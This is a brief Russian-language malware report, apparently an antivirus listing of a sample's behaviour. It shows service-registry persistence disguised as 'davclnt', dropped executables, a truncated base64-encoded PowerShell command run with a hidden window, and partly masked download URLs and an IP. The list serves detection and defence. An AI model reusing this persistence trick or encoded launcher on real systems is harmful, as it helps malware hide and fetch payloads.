Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\davclnt] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\davclnt] 'ImagePath' = '"%WINDIR%\SysWOW64\api-ms-win-crt-process-l1-1-0\davclnt.exe"'
- 'davclnt' "%WINDIR%\SysWOW64\api-ms-win-crt-process-l1-1-0\davclnt.exe"
- 'davclnt' %WINDIR%\SysWOW64\api-ms-win-crt-process-l1-1-0\davclnt.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABNAHYAbQA5AHgAZABwAD0AKAAoACcARwB2AHkANgAnACsAJwB0ACcAKwAnAF8AJwApACsAJwA4ACcAKQA7AC4AKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUATgB2ADoAVQBzAEUAUgBwAHIATwBGAGkATA...
- %HOMEPATH%\t4yyer8\hj_mfzv\onj2qmzt.exe
- %WINDIR%\syswow64\api-ms-win-crt-process-l1-1-0\davclnt.exe
- %HOMEPATH%\t4yyer8\hj_mfzv\onj2qmzt.exe в %WINDIR%\syswow64\api-ms-win-crt-process-l1-1-0\davclnt.exe
- '38.##.235.242':80
- http://ed#.##svclass.com/wp-includes/sZmjSq/
- http://38.##.235.242/XMKErRD8bdeQrKM/op5fDtpOparSsJPE1A/
- DNS ASK ed#.##svclass.com
- '%HOMEPATH%\t4yyer8\hj_mfzv\onj2qmzt.exe'
- '%WINDIR%\syswow64\api-ms-win-crt-process-l1-1-0\davclnt.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABNAHYAbQA5AHgAZABwAD0AKAAoACcARwB2AHkANgAnACsAJwB0ACcAKwAnAF8AJwApACsAJwA4ACcAKQA7AC4AKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUATgB2ADoAVQBzAEUAUgBwAHIATwBGAGkATA...' (со скрытым окном)